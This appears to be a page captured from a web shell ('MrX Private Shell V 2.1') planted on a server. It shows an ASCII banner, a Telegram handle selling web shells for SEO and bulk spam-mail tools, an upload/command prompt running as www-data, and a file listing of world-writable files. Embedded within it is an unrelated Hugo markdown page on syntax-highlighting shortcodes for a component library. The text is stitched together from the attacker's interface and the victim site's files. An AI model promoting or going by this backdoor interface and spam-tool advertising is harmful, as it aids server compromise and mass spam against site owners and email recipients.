__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
---
layout: docs
title: "Syntax highlighting"
description: Use Hugo shortcodes for Syntax highlighting.
date: 2020-02-04T09:40:32+01:00
draft: false
weight: 3
---

## Using Shortcodes for syntax

Using this (shortcode) syntax you can higlight programming syntax in the component library

## HTML highlighting

Syntax for markdown (.md) files:

```
{{</* highlight html */>}}
<div class="myclass">
  This is an example.
</div>
{{</* /highlight  */>}}
```
Rendered result on this page:

{{< highlight html >}}
<div class="myclass">
  This is an example.
</div>
{{< /highlight >}}

## PHP shortcode

Syntax for markdown (.md) files:

```
{{</* php */>}}
  $mform->addElement('passwordunmask', 'password', get_string('label'), $attributes);
{{</* /php  */>}}
```
Rendered result on this page:

{{< php >}}
  $mform->addElement('passwordunmask', 'password', get_string('label'), $attributes);
{{< /php >}}

## Highlight shortcode

Syntax for markdown (.md) files:

```
{{</* highlight js */>}}
var config = {
    test: null,
    selector: '[data-drag-type=move]'
};
{{</* /highlight  */>}}
```
Rendered result on this page:

{{< highlight js >}}
var config = {
    test: null,
    selector: '[data-drag-type=move]'
};
{{< /highlight >}}


## Example shortcode

The example shortcode shows the HTML source with syntax highlighting and renders it on the page. This shortcode takes the following arguments:

show_markup="true/false"
show_preview="true/false"




```
{{</* example */>}}
<div class="input-group">
  <input type="text" class="form-control" placeholder="Search">
  <div class="input-group-append">
    <button class="btn btn-primary" type="button">
        <i class="fa fa-search"></i>
    </button>
  </div>
</div>
{{#js}}
    window.console.log('hello');
{{/js}}
{{</* /example  */>}}
```

{{< example >}}
<div class="input-group">
  <input type="text" class="form-control" placeholder="Search">
  <div class="input-group-append">
    <button class="btn btn-primary" type="button">
        <i class="fa fa-search"></i>
    </button>
  </div>
</div>
{{< /example >}}

Filemanager

Name Type Size Permission Actions
_index.md File 86 B 0777
adding-images.md File 1.08 KB 0777
adding-pages.md File 2.22 KB 0777
component-library-backend.md File 2.08 KB 0777
example-files.md File 2.35 KB 0777
getting-started.md File 1.72 KB 0777
moodle-javascript.md File 1.16 KB 0777
moodle-templates.md File 1.38 KB 0777
syntax-highlighting.md File 2.03 KB 0777
Filemanager